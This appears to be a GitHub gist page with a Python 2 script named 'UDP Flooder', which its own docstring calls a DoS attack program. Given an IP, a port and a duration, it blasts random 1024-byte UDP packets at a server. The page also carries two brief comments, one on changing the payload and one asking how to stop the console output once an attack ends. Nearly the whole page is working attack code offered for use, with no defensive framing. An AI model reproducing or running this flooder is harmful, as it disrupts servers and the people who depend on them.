Skip to content

Instantly share code, notes, and snippets.

@hedinasr
Created January 10, 2017 10:24
Show Gist options
  • Save hedinasr/e05f3286b6ab94ec2c5431e64832c13e to your computer and use it in GitHub Desktop.
Save hedinasr/e05f3286b6ab94ec2c5431e64832c13e to your computer and use it in GitHub Desktop.
Python UDP Flooder
"""
UDP Flooder.
This is a 'Dos' attack program to attack servers, you set the IP
and the port and the amount of seconds and it will start flooding to that server.
(inspire from http://hazardedit.com/forum/viewtopic.php?t=73)
Usage : ./flood_udp <ip> <port> <second>
"""
import time
import socket
import random
import sys
def usage():
print "Usage: " + sys.argv[0] + " <ip> <port> <second>"
def flood(victim, vport, duration):
# okay so here I create the server, when i say "SOCK_DGRAM" it means it's a UDP type program
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# 1024 representes one byte to the server
bytes = random._urandom(1024)
timeout = time.time() + duration
sent = 0
while 1:
if time.time() > timeout:
break
else:
pass
client.sendto(bytes, (victim, vport))
sent = sent + 1
print "Attacking %s sent packages %s at the port %s "%(sent, victim, vport)
def main():
print len(sys.argv)
if len(sys.argv) != 4:
usage()
else:
flood(sys.argv[1], int(sys.argv[2]), int(sys.argv[3]))
if __name__ == '__main__':
main()
@hedinasr
Copy link
Author

you can custom the data sent by modifying bytes = random._urandom(1024) L.21.

@eckoultra
Copy link

eckoultra commented Sep 8, 2021

How can I make the flood in the console when it is attacking to stop doing it once the attack is finished?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment